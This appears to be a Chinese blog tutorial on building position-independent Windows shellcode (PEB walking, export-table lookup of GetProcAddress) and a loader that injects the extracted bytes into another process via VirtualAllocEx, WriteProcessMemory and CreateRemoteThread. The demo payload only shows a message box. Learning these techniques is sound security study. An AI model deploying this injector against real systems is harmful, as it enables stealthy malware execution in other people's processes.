简单来说,shell code 的核心就是把代码写成 “与地址无关” 的风格,让它不论是在什么环境下都可以被执行。
- 具体注意:
- 使用 API 时应该动态调用(GetProAddress)
- 不能使用全局变量,或者用 static 修饰的变量
- 在 shellcode 工程中要自定义入口函数
- 确保调用 API 之前都已经加载了与之对应的 DLL
- 所有的字符串都要用字符串数组的方式代替
环境搭建
首先新建一个项目,这里我推荐 空项目,之后创建一个 main.cpp 文件:
使用 Release 模式写代码,这是因为 Debug 模式下的代码在转换成汇编后首先都是一个 jmp,然后再跳到我们的功能代码处,但 jmp 指令是 “地址相关” 的 ,所以在转换成 shellcode 时就会出错!
修改项目属性:
高级配置
编写 ShellCode
32位
#include <windows.h>
FARPROC getProcAddress(HMODULE hModuleBase);
DWORD getKernel32();
int EntryMain()
{
// get function address :GetProcAddress
typedef FARPROC(WINAPI* FN_GetProcAddress)(
_In_ HMODULE hModule,
_In_ LPCSTR lpProcName
);
FN_GetProcAddress fn_GetProcAddress = (FN_GetProcAddress)getProcAddress((HMODULE)getKernel32());
// get function address :LoadLibraryW
typedef HMODULE(WINAPI* FN_LoadLibraryW)(
_In_ LPCWSTR lpLibFileName
);
char xyLoadLibraryW[] = { 'L','o','a','d','L','i','b','r','a','r','y','W',0 };
FN_LoadLibraryW fn_LoadLibraryW = (FN_LoadLibraryW)fn_GetProcAddress((HMODULE)getKernel32(), xyLoadLibraryW);
// get function address :MessageBoxW
typedef int (WINAPI* FN_MessageBoxW)(
_In_opt_ HWND hWnd,
_In_opt_ LPCWSTR lpText,
_In_opt_ LPCWSTR lpCaption,
_In_ UINT uType);
wchar_t xy_user32[] = { 'u','s','e','r','3','2','.','d','l','l',0 };
char xy_MessageBoxW[] = { 'M','e','s','s','a','g','e','B','o','x','W',0 };
FN_MessageBoxW fn_MessageBoxW = (FN_MessageBoxW)fn_GetProcAddress(fn_LoadLibraryW(xy_user32), xy_MessageBoxW);
// shellcode test
wchar_t xy_Hello[] = { 'S','h','e','l','l','c','o','d','e',0 };
wchar_t xy_tip[] = { 'L','Y','S','M',0 };
fn_MessageBoxW(NULL, xy_Hello, xy_tip, NULL);
return 0;
}
// get module base :kernel32.dll
__declspec(naked) DWORD getKernel32()
{
__asm
{
mov eax, fs: [30h]
mov eax, [eax + 0ch]
mov eax, [eax + 14h]
mov eax, [eax]
mov eax, [eax]
mov eax, [eax + 10h]
ret
}
}
// get function address :GetProcAddress
FARPROC getProcAddress(HMODULE hModuleBase)
{
PIMAGE_DOS_HEADER lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;
PIMAGE_NT_HEADERS32 lpNtHeader = (PIMAGE_NT_HEADERS)((DWORD)hModuleBase + lpDosHeader->e_lfanew);
if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size) {
return NULL;
}
if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) {
return NULL;
}
PIMAGE_EXPORT_DIRECTORY lpExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase + (DWORD)lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD lpdwFunName = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNames);
PWORD lpword = (PWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNameOrdinals);
PDWORD lpdwFunAddr = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfFunctions);
DWORD dwLoop = 0;
FARPROC pRet = NULL;
for (; dwLoop <= lpExports->NumberOfNames - 1; dwLoop++) {
char* pFunName = (char*)(lpdwFunName[dwLoop] + (DWORD)hModuleBase);
if (pFunName[0] == 'G' &&
pFunName[1] == 'e' &&
pFunName[2] == 't' &&
pFunName[3] == 'P' &&
pFunName[4] == 'r' &&
pFunName[5] == 'o' &&
pFunName[6] == 'c' &&
pFunName[7] == 'A' &&
pFunName[8] == 'd' &&
pFunName[9] == 'd' &&
pFunName[10] == 'r' &&
pFunName[11] == 'e' &&
pFunName[12] == 's' &&
pFunName[13] == 's')
{
pRet = (FARPROC)(lpdwFunAddr[lpword[dwLoop]] + (DWORD)hModuleBase);
break;
}
}
return pRet;
}
64位: x64.asm 具体设置参考:https://blog.csdn.net/Simon798/article/details/107051541
.code
getKernel32 proc
mov rax,gs:[60h]
mov rax,[rax+18h]
mov rax,[rax+30h]
mov rax,[rax]
mov rax,[rax]
mov rax,[rax+10h]
ret
getKernel32 endp
end
main.cpp
#include <windows.h>
FARPROC getProcAddress(HMODULE hModuleBase);
extern "C" PVOID64 getKernel32();
int EntryMain()
{
// get function address :GetProcAddress
typedef FARPROC(WINAPI* FN_GetProcAddress)(
_In_ HMODULE hModule,
_In_ LPCSTR lpProcName
);
FN_GetProcAddress fn_GetProcAddress = (FN_GetProcAddress)getProcAddress((HMODULE)getKernel32());
// get function address :LoadLibraryW
typedef HMODULE(WINAPI* FN_LoadLibraryW)(
_In_ LPCWSTR lpLibFileName
);
char xyLoadLibraryW[] = { 'L','o','a','d','L','i','b','r','a','r','y','W',0 };
FN_LoadLibraryW fn_LoadLibraryW = (FN_LoadLibraryW)fn_GetProcAddress((HMODULE)getKernel32(), xyLoadLibraryW);
// get function address :MessageBoxW
typedef int (WINAPI* FN_MessageBoxW)(
_In_opt_ HWND hWnd,
_In_opt_ LPCWSTR lpText,
_In_opt_ LPCWSTR lpCaption,
_In_ UINT uType);
wchar_t xy_user32[] = { 'u','s','e','r','3','2','.','d','l','l',0 };
char xy_MessageBoxW[] = { 'M','e','s','s','a','g','e','B','o','x','W',0 };
FN_MessageBoxW fn_MessageBoxW = (FN_MessageBoxW)fn_GetProcAddress(fn_LoadLibraryW(xy_user32), xy_MessageBoxW);
// shellcode test
wchar_t xy_Hello[] = { 'S','h','e','l','l','c','o','d','e',0 };
wchar_t xy_tip[] = { 'L','Y','S','M',0 };
fn_MessageBoxW(NULL, xy_Hello, xy_tip, NULL);
Sleep(10000);
return 0;
}
// get function address :GetProcAddress
FARPROC getProcAddress(HMODULE hModuleBase)
{
PIMAGE_DOS_HEADER lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase;
PIMAGE_NT_HEADERS64 lpNtHeader = (PIMAGE_NT_HEADERS64)((ULONG64)hModuleBase + lpDosHeader->e_lfanew);
if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size) {
return NULL;
}
if (!lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) {
return NULL;
}
PIMAGE_EXPORT_DIRECTORY lpExports = (PIMAGE_EXPORT_DIRECTORY)((ULONG64)hModuleBase + (ULONG64)lpNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD lpdwFunName = (PDWORD)((ULONG64)hModuleBase + (ULONG64)lpExports->AddressOfNames);
PWORD lpword = (PWORD)((ULONG64)hModuleBase + (ULONG64)lpExports->AddressOfNameOrdinals);
PDWORD lpdwFunAddr = (PDWORD)((ULONG64)hModuleBase + (ULONG64)lpExports->AddressOfFunctions);
DWORD dwLoop = 0;
FARPROC pRet = NULL;
for (; dwLoop <= lpExports->NumberOfNames - 1; dwLoop++) {
char* pFunName = (char*)(lpdwFunName[dwLoop] + (ULONG64)hModuleBase);
if (pFunName[0] == 'G' &&
pFunName[1] == 'e' &&
pFunName[2] == 't' &&
pFunName[3] == 'P' &&
pFunName[4] == 'r' &&
pFunName[5] == 'o' &&
pFunName[6] == 'c' &&
pFunName[7] == 'A' &&
pFunName[8] == 'd' &&
pFunName[9] == 'd' &&
pFunName[10] == 'r' &&
pFunName[11] == 'e' &&
pFunName[12] == 's' &&
pFunName[13] == 's')
{
pRet = (FARPROC)(lpdwFunAddr[lpword[dwLoop]] + (ULONG64)hModuleBase);
break;
}
}
return pRet;
}
提取 ShellCode
打开 studyPE ,拖入编译后的 exe,记录代码段文件偏移:
打开 C32Asm,拖入 exe,转到文件偏移处,拷贝一段连续的 hex 码:
这就是我们需要的 ShellCode 了 (o゚v゚)ノ
使用 ShellCode
写一个 Shell Code 加载器:
#include <windows.h>
#include <iostream>
using namespace std;
// x86 shellcode
UCHAR shellcode[] = { 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x5C, 0x53, 0x56, 0x57, 0xE8, 0x72, 0x01, 0x00, 0x00, 0x8B, 0xD0, 0x33, 0xDB, 0x8B, 0x42, 0x3C, 0x39, 0x5C, 0x10, 0x7C, 0x0F, 0x84, 0x9F, 0x00, 0x00, 0x00, 0x8B, 0x74, 0x10, 0x78, 0x85, 0xF6, 0x0F, 0x84, 0x93, 0x00, 0x00, 0x00, 0x8B, 0x44, 0x16, 0x24, 0x33, 0xC9, 0x8B, 0x7C, 0x16, 0x20, 0x03, 0xC2, 0x89, 0x45, 0xFC, 0x03, 0xFA, 0x8B, 0x44, 0x16, 0x1C, 0x8B, 0x74, 0x16, 0x18, 0x03, 0xC2, 0x89, 0x45, 0xF8, 0x4E, 0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x8B, 0x04, 0x8F, 0x03, 0xC2, 0x80, 0x38, 0x47, 0x75, 0x4E, 0x80, 0x78, 0x01, 0x65, 0x75, 0x48, 0x80, 0x78, 0x02, 0x74, 0x75, 0x42, 0x80, 0x78, 0x03, 0x50, 0x75, 0x3C, 0x80, 0x78, 0x04, 0x72, 0x75, 0x36, 0x80, 0x78, 0x05, 0x6F, 0x75, 0x30, 0x80, 0x78, 0x06, 0x63, 0x75, 0x2A, 0x80, 0x78, 0x07, 0x41, 0x75, 0x24, 0x80, 0x78, 0x08, 0x64, 0x75, 0x1E, 0x80, 0x78, 0x09, 0x64, 0x75, 0x18, 0x80, 0x78, 0x0A, 0x72, 0x75, 0x12, 0x80, 0x78, 0x0B, 0x65, 0x75, 0x0C, 0x80, 0x78, 0x0C, 0x73, 0x75, 0x06, 0x80, 0x78, 0x0D, 0x73, 0x74, 0x07, 0x41, 0x3B, 0xCE, 0x76, 0xA3, 0xEB, 0x0F, 0x8B, 0x45, 0xFC, 0x8B, 0x5D, 0xF8, 0x0F, 0xB7, 0x04, 0x48, 0x8B, 0x1C, 0x83, 0x03, 0xDA, 0x8D, 0x45, 0xD0, 0xC7, 0x45, 0xD0, 0x4C, 0x6F, 0x61, 0x64, 0x50, 0xC7, 0x45, 0xD4, 0x4C, 0x69, 0x62, 0x72, 0xC7, 0x45, 0xD8, 0x61, 0x72, 0x79, 0x57, 0xC6, 0x45, 0xDC, 0x00, 0xE8, 0xA0, 0x00, 0x00, 0x00, 0x50, 0xFF, 0xD3, 0x33, 0xC9, 0xC7, 0x45, 0xA4, 0x75, 0x00, 0x73, 0x00, 0x66, 0x89, 0x4D, 0xB8, 0x8D, 0x4D, 0xE0, 0x51, 0x8D, 0x4D, 0xA4, 0xC7, 0x45, 0xA8, 0x65, 0x00, 0x72, 0x00, 0x51, 0xC7, 0x45, 0xAC, 0x33, 0x00, 0x32, 0x00, 0xC7, 0x45, 0xB0, 0x2E, 0x00, 0x64, 0x00, 0xC7, 0x45, 0xB4, 0x6C, 0x00, 0x6C, 0x00, 0xC7, 0x45, 0xE0, 0x4D, 0x65, 0x73, 0x73, 0xC7, 0x45, 0xE4, 0x61, 0x67, 0x65, 0x42, 0xC7, 0x45, 0xE8, 0x6F, 0x78, 0x57, 0x00, 0xFF, 0xD0, 0x50, 0xFF, 0xD3, 0x33, 0xC9, 0xC7, 0x45, 0xBC, 0x53, 0x00, 0x68, 0x00, 0x51, 0x66, 0x89, 0x4D, 0xF4, 0x8D, 0x4D, 0xEC, 0x51, 0x8D, 0x4D, 0xBC, 0xC7, 0x45, 0xC0, 0x65, 0x00, 0x6C, 0x00, 0x51, 0x6A, 0x00, 0xC7, 0x45, 0xC4, 0x6C, 0x00, 0x63, 0x00, 0xC7, 0x45, 0xC8, 0x6F, 0x00, 0x64, 0x00, 0xC7, 0x45, 0xCC, 0x65, 0x00, 0x00, 0x00, 0xC7, 0x45, 0xEC, 0x4C, 0x00, 0x59, 0x00, 0xC7, 0x45, 0xF0, 0x53, 0x00, 0x4D, 0x00, 0xFF, 0xD0, 0x5F, 0x5E, 0x33, 0xC0, 0x5B, 0x8B, 0xE5, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x40, 0x14, 0x8B, 0x00, 0x8B, 0x00, 0x8B, 0x40, 0x10, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
// x64 shellcode
/*UCHAR shellcode[] = { 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x48, 0x89, 0x7C, 0x24, 0x18, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8B, 0xEC, 0x48, 0x81, 0xEC, 0x80, 0x00, 0x00, 0x00, 0xE8, 0x9D, 0x01, 0x00, 0x00, 0x4C, 0x8B, 0xC0, 0x33, 0xDB, 0x8B, 0xFB, 0x48, 0x63, 0x40, 0x3C, 0x42, 0x39, 0x9C, 0x00, 0x8C, 0x00, 0x00, 0x00, 0x0F, 0x84, 0xA7, 0x00, 0x00, 0x00, 0x42, 0x8B, 0x8C, 0x00, 0x88, 0x00, 0x00, 0x00, 0x85, 0xC9, 0x0F, 0x84, 0x97, 0x00, 0x00, 0x00, 0x45, 0x8B, 0x54, 0x08, 0x24, 0x49, 0x8D, 0x04, 0x08, 0x41, 0x8B, 0x4C, 0x08, 0x20, 0x4D, 0x03, 0xD0, 0x44, 0x8B, 0x58, 0x1C, 0x49, 0x03, 0xC8, 0x44, 0x8B, 0x48, 0x18, 0x4D, 0x03, 0xD8, 0x41, 0xFF, 0xC9, 0x8B, 0xD3, 0x8B, 0x01, 0x49, 0x03, 0xC0, 0x80, 0x38, 0x47, 0x75, 0x4E, 0x80, 0x78, 0x01, 0x65, 0x75, 0x48, 0x80, 0x78, 0x02, 0x74, 0x75, 0x42, 0x80, 0x78, 0x03, 0x50, 0x75, 0x3C, 0x80, 0x78, 0x04, 0x72, 0x75, 0x36, 0x80, 0x78, 0x05, 0x6F, 0x75, 0x30, 0x80, 0x78, 0x06, 0x63, 0x75, 0x2A, 0x80, 0x78, 0x07, 0x41, 0x75, 0x24, 0x80, 0x78, 0x08, 0x64, 0x75, 0x1E, 0x80, 0x78, 0x09, 0x64, 0x75, 0x18, 0x80, 0x78, 0x0A, 0x72, 0x75, 0x12, 0x80, 0x78, 0x0B, 0x65, 0x75, 0x0C, 0x80, 0x78, 0x0C, 0x73, 0x75, 0x06, 0x80, 0x78, 0x0D, 0x73, 0x74, 0x0D, 0xFF, 0xC2, 0x48, 0x83, 0xC1, 0x04, 0x41, 0x3B, 0xD1, 0x76, 0x9D, 0xEB, 0x0E, 0x8B, 0xC2, 0x41, 0x0F, 0xB7, 0x0C, 0x42, 0x41, 0x8B, 0x3C, 0x8B, 0x49, 0x03, 0xF8, 0xC7, 0x45, 0xC0, 0x4C, 0x6F, 0x61, 0x64, 0xC7, 0x45, 0xC4, 0x4C, 0x69, 0x62, 0x72, 0xC7, 0x45, 0xC8, 0x61, 0x72, 0x79, 0x57, 0xC6, 0x45, 0xCC, 0x00, 0xE8, 0xBF, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xC8, 0x48, 0x8D, 0x55, 0xC0, 0xFF, 0xD7, 0x48, 0x8D, 0x4D, 0xE8, 0xC7, 0x45, 0xE8, 0x75, 0x00, 0x73, 0x00, 0xC7, 0x45, 0xEC, 0x65, 0x00, 0x72, 0x00, 0xC7, 0x45, 0xF0, 0x33, 0x00, 0x32, 0x00, 0xC7, 0x45, 0xF4, 0x2E, 0x00, 0x64, 0x00, 0xC7, 0x45, 0xF8, 0x6C, 0x00, 0x6C, 0x00, 0x66, 0x89, 0x5D, 0xFC, 0xC7, 0x45, 0xB0, 0x4D, 0x65, 0x73, 0x73, 0xC7, 0x45, 0xB4, 0x61, 0x67, 0x65, 0x42, 0xC7, 0x45, 0xB8, 0x6F, 0x78, 0x57, 0x00, 0xFF, 0xD0, 0x48, 0x8B, 0xC8, 0x48, 0x8D, 0x55, 0xB0, 0xFF, 0xD7, 0x45, 0x33, 0xC9, 0xC7, 0x45, 0xD0, 0x53, 0x00, 0x68, 0x00, 0x4C, 0x8D, 0x45, 0xA0, 0xC7, 0x45, 0xD4, 0x65, 0x00, 0x6C, 0x00, 0x48, 0x8D, 0x55, 0xD0, 0xC7, 0x45, 0xD8, 0x6C, 0x00, 0x63, 0x00, 0x33, 0xC9, 0xC7, 0x45, 0xDC, 0x6F, 0x00, 0x64, 0x00, 0xC7, 0x45, 0xE0, 0x65, 0x00, 0x00, 0x00, 0xC7, 0x45, 0xA0, 0x4C, 0x00, 0x59, 0x00, 0xC7, 0x45, 0xA4, 0x53, 0x00, 0x4D, 0x00, 0x66, 0x89, 0x5D, 0xA8, 0xFF, 0xD0, 0x4C, 0x8D, 0x9C, 0x24, 0x80, 0x00, 0x00, 0x00, 0x33, 0xC0, 0x49, 0x8B, 0x5B, 0x20, 0x49, 0x8B, 0x73, 0x28, 0x49, 0x8B, 0x7B, 0x30, 0x49, 0x8B, 0xE3, 0x41, 0x5F, 0x41, 0x5E, 0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x48, 0x8B, 0x40, 0x18, 0x48, 0x8B, 0x40, 0x30, 0x48, 0x8B, 0x00, 0x48, 0x8B, 0x00, 0x48, 0x8B, 0x40, 0x10, 0xC3, 0x00, 0x00, 0x00, 0x00};*/
int main()
{
// some variables statement
DWORD targetPid = 0;
HANDLE h_target = NULL;
LPVOID p_base = NULL;
HANDLE h_thread = NULL;
// get target process handle
cout << "input target process id:";
cin >> targetPid;
h_target = OpenProcess(PROCESS_ALL_ACCESS, FALSE, targetPid);
if (h_target == NULL) {
cout << "OpenProcess failed." << endl;
goto main_end;
}
// request memory in target process
p_base = VirtualAllocEx(h_target, NULL, sizeof(shellcode), MEM_COMMIT ,PAGE_EXECUTE_READWRITE);
if (p_base == NULL) {
cout << "VirtualAllocEx failed." << endl;
goto main_end;
}
// write shellcode in requested memory
if (!WriteProcessMemory(h_target, p_base, (LPVOID)shellcode, sizeof(shellcode), NULL)) {
cout << "WriteProcessMemory failed." << endl;
goto main_end;
}
// create thread and execute shellcode
h_thread = CreateRemoteThread(h_target, 0, 0,(LPTHREAD_START_ROUTINE)p_base, NULL, 0, NULL);
if (h_thread == NULL) {
cout << "CreateRemoteThread failed." << endl;
goto main_end;
}
main_end:
// when MessageBox appears but you don't click the button,
// now , call VirtualFreeEx to free memory then click button will lead target procedure to breakdown.
/*if (p_base) {
VirtualFreeEx(h_target, p_base, 0, MEM_RELEASE);
}*/
if (h_target)
CloseHandle(h_target);
if (h_thread)
CloseHandle(h_thread);
getchar();
return 0;
}
测试 shellcode 注入程序成功: